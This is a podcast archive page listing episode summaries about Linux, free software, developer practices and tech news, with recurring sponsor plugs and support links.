Whether you can trust small new distros, Amazon is officially abandoning Android on its new TV sticks in favour of their new Linux-based OS, and we have another pointless argument about AI bollocks.
News/discussion
Amazon won’t release Fire Sticks that support sideloading anymore
Eternal November — this new influx of users may be better than the last one
Chris ended up with a managed M4 Macbook Air at work with no sudo or root. So how does a Linux user get on with his first ever Mac? Turns out pretty well, thanks to lots of open source software and a terminal.
Support us on Patreon and get an ad-free RSS feed with some early episodes
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Microsoft locks devs out of important accounts, the foreign router ban exemptions make even less sense, Backblaze shows that “unlimited” never means that, and attempting to avoid software that’s written with AI.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
Do More with Less: Cost-Efficient Storage on the New TrueNAS with Enhanced Fast Dedup
The Hidden Value of CPU-Intensive Compression on Modern Hardware
News/discussion
Microsoft locks out VeraCrypt and WireGuard devs, blames verification process
Action Required: Account Verification for Windows Hardware Program Begins October 16, 2025
FCC exempts Netgear from ban on foreign routers, doesn’t explain why
Backblaze has quietly stopped backing up your data
Free consulting
We were asked about avoiding software that’s written with AI.
The French government makes a start on moving to the Linux Desktop, the EU has a terrible but open source age verification app, some clarity on one of the exciting office suite dramas, the media swallows Anthropic’s nonsense about their new magically powerful model, a quick KDE Korner, and more.
News
France’s digital agency dumping Windows desktops for Linux
Brussels launched an age checking app. Hackers say it takes 2 minutes to break it
Microsoft locks out VeraCrypt and WireGuard devs, blames verification process
You cannot use the GNU (A)GPL to take software freedom away
AGPLv3§7¶4 Empowers Users to Thwart Badgeware
Project Glasswing: Securing critical software for the AI era
On Anthropic’s Mythos Preview and Project Glasswing
UK gov’s Mythos AI tests help separate cybersecurity threat from hype
A few notes about the massive hype surrounding Claude Mythos
Breathless parroting of Anthropic’s bullshit from the graun
NSA using Anthropic’s Mythos despite blacklist
KDE Korner
Tighter KDE Connect Integration
We get into dependency management. The pros and cons of tools like Dependabot, the varying approaches with different languages and standard library sizes, the times when pinning dependencies makes sense, and more.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
In the wake of Discord’s recent announcement about age verification, Matrix recently came in for a lot of criticism by a lot of people who said it’s not a viable replacement. Andy works on Matrix for a living and Amolith is invested in the XMPP world so we get into secure messaging, trade-offs between security and user experience, federation, and more.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
The importance of having and sticking to correct development processes, what can go wrong when you don’t, and how to fix the problems you might end up with.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
People often like to talk down Electron, but it is really that bad? There may be better ways to use Web technologies to make desktop apps, but isn’t having Linux versions of apps a good thing no matter how they are made?
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
The career progression options you have as a software engineer, moving from junior to senior dev, other paths you can go down like architecture or tech lead, and why management isn’t for everyone.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Software complexity is a complex topic, so we dig into it.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Dealing with a crisis as a developer, how to keep everyone in the loop while you fix systems and code, why pointing the blame isn’t useful, some of our horror stories, and more.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
What we are likely to be doing when you hear this, and why it’s unlikely to involve much in the way of development. This is a short episode because Joe is having a break for the Christmas period.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
How far you can go with eliminating global variables, forcing everything you ever need to be passed in as arguments.
Tailscale
Tailscale is an easy to deploy, zero-config, no-fuss VPN that allows you to build simple networks across complex infrastructure. Go to tailscale.com/ldt and try Tailscale out for free for up to 100 devices and 3 users, with no credit card required. Use code LATENIGHTLINUX for three free months of any Tailscale paid plan.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
When the right time to make a big change to your software is, how you get users to test pre-release versions, how long you keep old features around, when that’s not possible, and more.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
What object-oriented programming is, why it went out of fashion, and how more modern approaches to development incorporate some of its aspects.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Some of the languages that we love and why we love them. It’s not just Rust, honest!
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
With constant news stories about security issues with developer-published software in package managers like npm, we weigh up the pros and cons of this approach to distributing open source software.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
What makes a good commit, the tools we use to help us produce good commits, and why we care about this.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Some of the alternatives to GitHub that we use, why we use them, and how they differ in terms of features and workflows.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
A lot of key open source software is paid for by large companies. That has some advantages, but it can also cause some issues. Maybe it would be better if more FOSS development was paid for by smaller companies and contributions from users.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
We explore the differences between terms like coder, software developer, engineer, and architect. They are often used interchangeably, but there can be real differences between them. Or at least once upon a time there were differences.
Vibe coders are in for a shock. Writing code was never that hard.
Don’t Let Architecture Astronauts Scare You
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Not invented here syndrome is very common in open source. We get into why that is, when it makes sense to start your own project from scratch, and how contributing to existing software can sometimes be better for everyone.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
With the recent news of Bcachefs (probably) being removed from the Linux kernel, we are joined by Allan Jude from 2.5 Admins and Klara to discuss some of what we think went wrong, how to manage and maintain multiple releases of a project at once, and why release engineering is an important concept.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
What it takes to sustain a medium-to-large-sized open source project.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
When and how to use benchmarking in your project, why it’s hard, and why optimising your code can be even harder.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
How we deal with complex projects involving non-technical people as well as developers. How to manage expectations about timing, how to deal with issues, why documenting conversations is important, and more.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
What are the fundamental ideas and components of development and programming?
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
It’s another hot questions episode. Tabs vs spaces, whether we have imposter syndrome, why software keeps getting heavier, the correct length of functions and files, and what every programmer should know.
Some things we mentioned:
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Andy is convinced that functional programming isn’t boring. Listen to find out if he’s right!
Functional Programming & Haskell
Functional Programming & Haskell – Computerphile
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
We’ve done hot takes episodes in the past but this is different, it’s hot questions. Would we rather have bad managers who can code or good managers who can’t? Too many comments or none? 80 columns or as long as you like? What editor do we use and why?
Vim for Fun or PeerTube version
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Joe accidentally tried vibe coding and it was as much of a disaster as you’d imagine. Amolith has also tried it, and does his best to defend the use of LLMs with development. Kevin and Andy are mostly bemused. We all have concerns about the ethics and environmental issues.
This episode has a bit more bad language than usual.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Our advice on how to move into a career in software development including making and contributing to projects, advocating for your work, collaborating, avoiding exploitation, learning Git, and loads more.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Andy is only publishing his games on F-Droid and not the Google Play Store from now on, and he tells us why.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
We dig into the technical details of the Linux Kernel Rust drama.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Mark from Linux Matters who’s a web developer joins us to talk about working in PHP – a language that’s mature and well established, and how that compares with working with newer “cooler” languages like Rust and Go.
Bash associative array examples
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Where is the balance between efficiency and openness when it comes to saved file formats? If everything was based on plain text it would make the files readable for years to come, but at what cost?
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
We dig into SQLite – an interesting and unusual project that is widely used but has an uncommon licence, a proprietary test suite, and doesn’t take external contributions. Plus printf() vs “proper” debugging.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
We explore the line between developer and sysadmin and come to the conclusion that despite the clear difference between the roles, there is a lot of crossover when it comes to skills and character traits.
The Six Dumbest Ideas in Computer Security
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
We are joined by popey from Linux Matters to talk about how software packaging has changed over the years. The tooling has improved massively, containerisation has made a huge impact, but Andy still prefers the old distro repo model.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
More of our development hot takes including excessive energy use, optimising your code, the importance of licences, Matrix and Jabber being on the same side, the myth of secure code, and why self-hosting is hard.
1Password
Extended Access Management: Secure every sign-in for every app on every device. Support the show and check it out at 1password.com/linuxdevtime
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Some of the work-adjacent things that we do including writing code that we shouldn’t like writing Rust in Rust, fun projects that turned into paid work, and career progression. Plus some of our go to resources for learning about development.
Some resources we mentioned
Self-Directed Research Podcast
1Password
Extended Access Management: Secure every sign-in for every app on every device. Support the show and check it out at 1password.com/linuxdevtime
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Our development hot takes including “rewrite it in Rust”, lack of documentation, single vs multiple monitors, dependency numbers, light vs dark mode, and distro package repos.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
You need to be able to write good code to be a successful developer, but how important are other “soft” skills like communication, relating to and motivating others, and time management?
Kevin mentioned a blog post about burnout in the Rust project
1Password
Extended Access Management: Secure every sign-in for every app on every device. Support the show and check it out at 1password.com/linuxdevtime
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Campbell Barton joins us to talk about porting Blender, the hugely popular professional 3D software, to Wayland.
Wayland support in blender task
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
What is it about Linux that draws us to it as a development platform? Plus why we choose the specific distros that we use.
1Password
Extended Access Management: Secure every sign-in for every app on every device. Support the show and check it out at 1password.com/linuxdevtime
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Following on from our episode about dealing with a horrible codebase, Andy argues that completely rewriting a project is almost always a bad idea.
Things You Should Never Do, Part I
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Kevin and Andy talk about their project extremes: the oldest and newest projects they’ve worked on, the biggest and smallest codebases, the ugliest hack, the most elegant, the most popular, the most trivial, and the most important.
Andy’s links
Announcing I-DUNNO 1.0 and web-i-dunno
Kevin’s links
1Password
Extended Access Management: Secure every sign-in for every app on every device. Support the show and check it out at 1password.com/linuxdevtime
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
How to deal with a horrible codebase that you’ve inherited. Getting started, breaking the problem into smaller pieces, understanding what’s actually wrong, the importance of testing (as usual), and why technical debt isn’t necessarily the best name for the problem.
Working Effectively with Legacy Code
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Developing as part of an in-person team vs working remotely, synchronous vs asynchronous development, how to make a hybrid team work effectively, and how code review fits into it all.
1Password
Extended Access Management: Secure every sign-in for every app on every device. Support the show and check it out at 1password.com/linuxdevtime
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
What agile software development is exactly, why planning and being willing to adapt the plan are key, the pros and cons of all the process that’s involved, the role that scrum plays, and why it’s all about communication.
Study finds 268% higher failure rates for Agile software projects
Amolith will be at Fossy in August.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Andy is annoyed that so much free and open source software is hosted on a proprietary platform that’s owned by Microsoft. There are plenty of alternatives to GitHub, but ultimately the network effect is why so many people host their code there. We dream of a proper federated solution. Maybe one day…
1Password
Extended Access Management: Secure every sign-in for every app on every device. Support the show and check it out at 1password.com/linuxdevtime
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
If you want to be a good developer, how many different programming languages should you learn? Maybe becoming an expert in one specific language is the way to go. Maybe it’s more a case of learning different concepts and paradigms than languages.
1Password
Extended Access Management: Secure every sign-in for every app on every device. Support the show and check it out at 1password.com/linuxdevtime
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Forks are a fundamental aspect of open source software so we get into the different types of forks, when and why you might want to fork a project, the maintenance burden that comes with a hard fork, the importance of winning mindshare for your fork, what exactly counts as a fork, when it’s not always a great idea to fork, and more.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
We are joined by Allan Jude to talk about what it’s like to run a company that develops and maintains open source software with a focus on upstreaming as much code as possible.
November 2023 FreeBSD Vendor Summit – The Value of Upstream First
How to upstream code to open source projects
FiloSottile (Filippo Valsorda)
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Andy is a huge proponent of test-driven development and explains why – including types of code testing including unit tests and integration tests, when you actually need to run tests, how long they should take, and more.
Kolide
Kolide ensures that if a device isn’t secure it can’t access your apps. It’s Device Trust for Okta. Visit kolide.com/linuxdevtime to learn more.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Kevin and Andy answer Joe’s noob questions about development including the differences between compiled and interpreted languages, C vs C++, why the Linux kernel is written in C, Go vs Rust, and what memory safety means.
Kolide
Kolide ensures that if a device isn’t secure it can’t access your apps. It’s Device Trust for Okta. Visit kolide.com/linuxdevtime to learn more.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
We are joined by Drew DeVault to discuss his programming language called Hare, which aims for 100 years of forwards compatibility.
We mentioned Drew’s blog posts Can I be on your podcast? and It takes a village
Kolide
Kolide ensures that if a device isn’t secure it can’t access your apps. It’s Device Trust for Okta. Visit kolide.com/linuxdevtime to learn more.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
How we first learned to code, and how we learn new technologies now.
Snake in Terraform
Snake in lots of languages
Web server in Sinclair BASIC
Kolide
Kolide ensures that if a device isn’t secure it can’t access your apps. It’s Device Trust for Okta. Visit kolide.com/linuxdevtime to learn more.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
What we’ve learned over the years about the interview process for software development jobs, both as the applicant and the interviewer.
Kolide
Kolide ensures that if a device isn’t secure it can’t access your apps. It’s Device Trust for Okta. Visit kolide.com/linuxdevtime to learn more.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
The automation tools we use in our development and why we use them. Plus how to engage with your project’s community – both in real time, and asynchronously.
Kolide
Kolide ensures that if a device isn’t secure it can’t access your apps. It’s Device Trust for Okta. Visit kolide.com/linuxdevtime to learn more.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Andy Balaam joins us to talk about accepting contributions from devs with varying levels of experience. When to invest the time to mentor them, why documentation is important, how automated tools fit in, being willing to decline some contributions, dealing with companies vs individuals, and more.
Kolide
Kolide ensures that if a device isn’t secure it can’t access your apps. It’s Device Trust for Okta. Visit kolide.com/linuxdevtime to learn more.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
How we use AI coding assistants like GitHub Copilot, what they have done to the development industry, what might happen in the future, and the ethics of the whole thing. With guest host Linus.
Kolide
Kolide ensures that if a device isn’t secure it can’t access your apps. It’s Device Trust for Okta. Visit kolide.com/linuxdevtime to learn more.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
We follow up on last episode with some clarifications from Amolith about code collaboration. Plus we get into development workflows in general, code review, the paradigms we couldn’t do without, and more. With guest host Linus.
Amolith mentioned a Low energy game jam.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
When it comes to collaboration workflows, Amolith dislikes the pull request model that GitHub made popular and much prefers the email/patch-based approach. Kevin does his best to get to the bottom of why, and Joe wonders if it might come down to disliking Microsoft.
Your GitHub pull request workflow is slowing everyone down
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Linux Downtime is now Linux Dev Time!
In this first episode we talk about “sharpening our tools” – changing your dev tools, trying out new languages, using existing code vs writing something new, how to get over creative blocks, and more.
How Often Should We Sharpen Our Tools?
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Kevin joins us to talk about the hype that surrounds some programming languages like Rust and Python, how some languages like Java went out of fashion, and why the likes of PHP never saw much hype at all. With guest host Jim from 2.5 Admins.
Factor
Factor’s fresh, never frozen, meals are ready in just 2 minutes, so all you have to do is heat them up and enjoy. Go to factormeals.com/ldt50 and use code ldt50 to get 50% off.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
There’s a meme that software developers should be forced to use low end hardware to experience what it’s like to be a real user. So what hardware should devs actually use to test their software? How does this differ for GUI and CLI applications? With guest host Jim from 2.5 Admins.
HelloFresh
With HelloFresh, you get farm-fresh, pre-portioned ingredients and seasonal recipes delivered right to your doorstep. Get free breakfast for life at hellofresh.com/ldtfree using code ldtfree. (One breakfast item per box while subscription is active).
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
We are joined by Roger Light to discuss what it’s like to work for a company that uses the open core model — maintaining an open source project and offering additional paid for proprietary features. With guest host Jim from 2.5 Admins.
Factor
Factor’s fresh, never frozen, meals are ready in just 2 minutes, so all you have to do is heat them up and enjoy. Go to factormeals.com/ldt50 and use code ldt50 to get 50% off.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
We are joined by Marcin Kulik – the creator and maintainer of asciinema. We talk about the project itself, developing on Linux, IDEs, targetting a technical audience, the advantages of writing for a command line interface, why -R is always wrong for the recursive flag, and more. With guest host Jim from 2.5 Admins.
HelloFresh
With HelloFresh, you get farm-fresh, pre-portioned ingredients and seasonal recipes delivered right to your doorstep. Get 50% off plus free shipping at hellofresh.com/50ldt using code 50ldt.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Jim Salter joins us to talk about getting the most out of your open source project. From designing and planning, to attracting contributors, considering the correct scope, building on top of existing software, and more.
Factor
Factor’s fresh, never frozen, meals are ready in just 2 minutes, so all you have to do is heat them up and enjoy. Go to factormeals.com/ldt50 and use code ldt50 to get 50% off.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
How to get hired for your first development job, more on contributor license agreements, and our thoughts on different immutable OS approaches.
Fiduciary Licence Agreement (FLA) – FSFE
Why the FSF Gets Copyright Assignments from Contributors
HelloFresh
With HelloFresh, you get farm-fresh, pre-portioned ingredients and seasonal recipes delivered right to your doorstep. Get 50% off plus 15% off the next 2
months at hellofresh.com/50ldt using code 50ldt.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
We are joined by Element developer Andy Balaam to talk about working on open source software after 20 years in the proprietary world. We get into working in public, the realities of accepting code contributions, being part of a distributed team, the pros and cons of working from home, and more.
Andy’s links:
Factor
Factor’s fresh, never frozen, meals are ready in just 2 minutes, so all you have to do is heat them up and enjoy. Go to factormeals.com/ldt50 and use code ldt50 to get 50% off.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
We are all on board with the right to be forgotten but it can cause some tricky problems for open source projects – particularly small ones. Plus why we won’t stop going on about why we take such a dim view of crypto.
Amolith mentioned a toot from the Tor Project.
HelloFresh
With HelloFresh, you get farm-fresh, pre-portioned ingredients and seasonal recipes delivered right to your doorstep. Get 50% off and free shipping at hellofresh.com/50ldt using the promo code 50ldt.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Why Amolith uses Arch, why Gary uses Debian, and why Joe uses Ubuntu.
Factor
Factor’s fresh, never frozen, meals are ready in just 2 minutes, so all you have to do is heat them up and enjoy. Go to factormeals.com/ldt50 and use code ldt50 to get 50% off.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Contributor license agreements aren’t very popular, but not having a CLA can cause problems for projects in the future. Gary can’t do things like publishing Pidgin on Apple’s app stores, and Amolith is wrestling with how to keep his options open for the SaaS project he’s working on.
Factor
Factor’s fresh, never frozen, meals are ready in just 2 minutes, so all you have to do is heat them up and enjoy. Go to factormeals.com/ldt50 and use code ldt50 to get 50% off.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
We are joined by Chris Waldon to talk about how to get started with coding and software development.
Chris mentioned his blog.
Factor
Factor’s fresh, never frozen, meals are ready in just 2 minutes, so all you have to do is heat them up and enjoy. Go to factormeals.com/ldt50 and use code ldt50 to get 50% off.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Is there really a renaissance in open communication tools? Does the success of the Fediverse mean that people are finally moving away from the huge companies that lock your data up? Are FOSS people just living in a bubble while the world continues to use the big platforms? How does Meta/Facebook joining the Fediverse fit into the picture? What about Bluesky?
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Jorge tries to address Félim‘s concerns about immutable desktop distros like Silverblue and Universal Blue.
Factor
Factor’s fresh, never frozen, meals are ready in just 2 minutes, so all you have to do is heat them up and enjoy. Go to factormeals.com/ldt50 and use code ldt50 to get 50% off your first box.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Amolith attempts to argue that avoiding ads using open source software is piracy, and that piracy in this case is good.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Part 2 of our chat with Molly White from Web3 is Going Just Great. This time we talk about Mastodon and the Fediverse, central bank digital currencies, cashless societies, the hype around AI, corporate surveillance, and more.
ServerMania
ServerMania offers a wide range of fully customizable dedicated, cloud, colocation, and IP Transit services, and free initial consultations. Go to servermania.com/ldt and use the promo code linuxdowntime to get 15% off dedicated servers – recurring for life.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
We are joined by Molly White from Web3 is Going Just Great to talk about the issues with crypto, Bitcoin, the Lightning network, blockchain, NFTs, and “web3”.
Amolith will be at SELF June 9-11 in Charlotte NC.
ServerMania
ServerMania offers a wide range of fully customizable dedicated, cloud, colocation, and IP Transit services, and free initial consultations. Go to servermania.com/ldt and use the promo code linuxdowntime to get 15% off dedicated servers – recurring for life.
Liam from Gaming on Linux joins us to talk about the current state of Linux gaming, the Steam Deck, how things progressed to this point, Valve being the driving force behind it all, whether the lack of native Linux games matters when Proton exists, and loads more.
Gaming on Linux YouTube channel
Check out Linux Matters
ServerMania
ServerMania offers a wide range of fully customizable dedicated, cloud, colocation, and IP Transit services, and free initial consultations. Go to servermania.com/ldt and use the promo code linuxdowntime to get 15% off dedicated servers – recurring for life.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
We are joined by Amolith from Linux Lads and Alan Pope to discuss Generation Z’s view of technology, and whether modern abstraction layers ultimately detract from ideas of software freedom and digital rights.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
We are joined by Alex from Self-Hosted to talk about home media setups. Is it a good idea to use a NAS running a desktop while connected to a TV, or does something like an Nvidia Shield make more sense?
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
What is the right level of customisation for the Linux desktop?
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Should open source projects use open platforms for their communities, or should they meet people where they are – places like Discord?
Join the Discord server, Telegram group, Matrix room, or IRC channel.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Martin tells us about why he decided to work with Nix and NixOS professionally.
He mentioned Determinate Systems and Zero to Nix
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
In the modern world where we run more and more software from outside our distros’ repositories, how do we know what to trust?
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Martin, Gary, and Hayden explain how their regular live streams benefit the open source projects that they work on.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Modding a Game Cube with a Raspberry Pi Pico, writing a book about cross-platform and cross-architecture development, and the struggles of self-hosted security camera footage.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Alan Pope (popey) joins us to discuss building and fostering a positive and productive community.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Martin has created a new desktop environment and a container tool, Gary has been clustering Raspberry Pis, and Hayden has been playing with the new Microsoft Arm box.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Simon Butcher joins us to talk about how open source AI can be, in theory and in practice.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
What problems that we are currently facing will be solved with Linux and FOSS in the future, and why does it involve AI/ML?
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Does it matter where you host your FOSS code? GitHub benefits from the network effect, but other options have their own benefits. Plus Gary explains why he doesn’t use Git.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
What’s the best way to implement telemetry and metrics in open source software, and should it be opt-in or opt-out?
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
What F/OSS means to us and why it’s important.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
It’s part 2 of our discussion about sustainability in FOSS.
Make sure to listen to part 1 first.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
There is a sustainability problem in FOSS. How do we fix it?
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Hayden explains why he uses Windows Subsystem for Linux on a daily basis, and argues that Microsoft is a very different organisation from the one that was so hostile to FOSS 20+ years ago.
He mentioned his unofficial timeline of Microsoft’s transition towards open source.
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Martin and Hayden explain what it’s actually like to use GitHub Copilot, and why they think it’s going to have a positive impact open source software. Plus Hayden explains the legal nuances.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Stuart Langridge joins us to discuss the nuances of gatekeeping in the Linux community, and why he thinks we inadvertently engaged in it on the last episode.
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Kyle joins us again, along with Hayden Barnes to answer the question: what exactly is a Linux distribution these days? The rise of immutable filesystems, containerisation, virtualisation, hypervisors, and abstraction layers makes this more complex than it might appear.
Vultr
High-performance cloud compute, bare metal, and storage in 25 locations all over the world. Go to getvultr.com/ldt to sign up and get $150 free credit to use in 30 days.
Kolide
Endpoint Security for Teams That Slack – Try for Free Today! https://l.kolide.co/3iIyKov
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Martin and Joe are joined by Kyle Fazzari to reimagine the Linux desktop. What we’d do differently if we were starting over today, who we’d aim it at, what packaging system we’d use, what interface, and more.
Vultr
High-performance cloud compute, bare metal, and storage in 25 locations all over the world. Go to getvultr.com/ldt to sign up and get $150 free credit to use in 30 days.
Kolide
Endpoint Security for Teams That Slack – Try for Free Today! https://l.kolide.co/3iIyKov
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
How do you progress your career as a FOSS enthusiast?
Vultr
High-performance cloud compute, bare metal, and storage in 25 locations all over the world. Go to getvultr.com/ldt to sign up and get $150 free credit to use in 30 days.
Kolide
Endpoint Security for Teams That Slack – Try for Free Today! https://l.kolide.co/3iIyKov
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Adam tries to sell Fedora to Joe and Martin, two Ubuntu (flavour) users.
Vultr
High-performance cloud compute, bare metal, and storage in 25 locations all over the world. Go to getvultr.com/ldt to sign up and get $150 free credit to use in 30 days.
Kolide
Endpoint Security for Teams That Slack – Try for Free Today! https://l.kolide.co/3iIyKov
See our contact page for ways to get in touch.
See the RSS Feeds page for ways to subscribe to the show.
Joe and Adam are joined by Martin Wimpress to talk about what goes into running a distro like Ubuntu Mate. Governance and finances, the benefits of being an official Ubuntu flavour, hardware enablement, and more.
Vultr
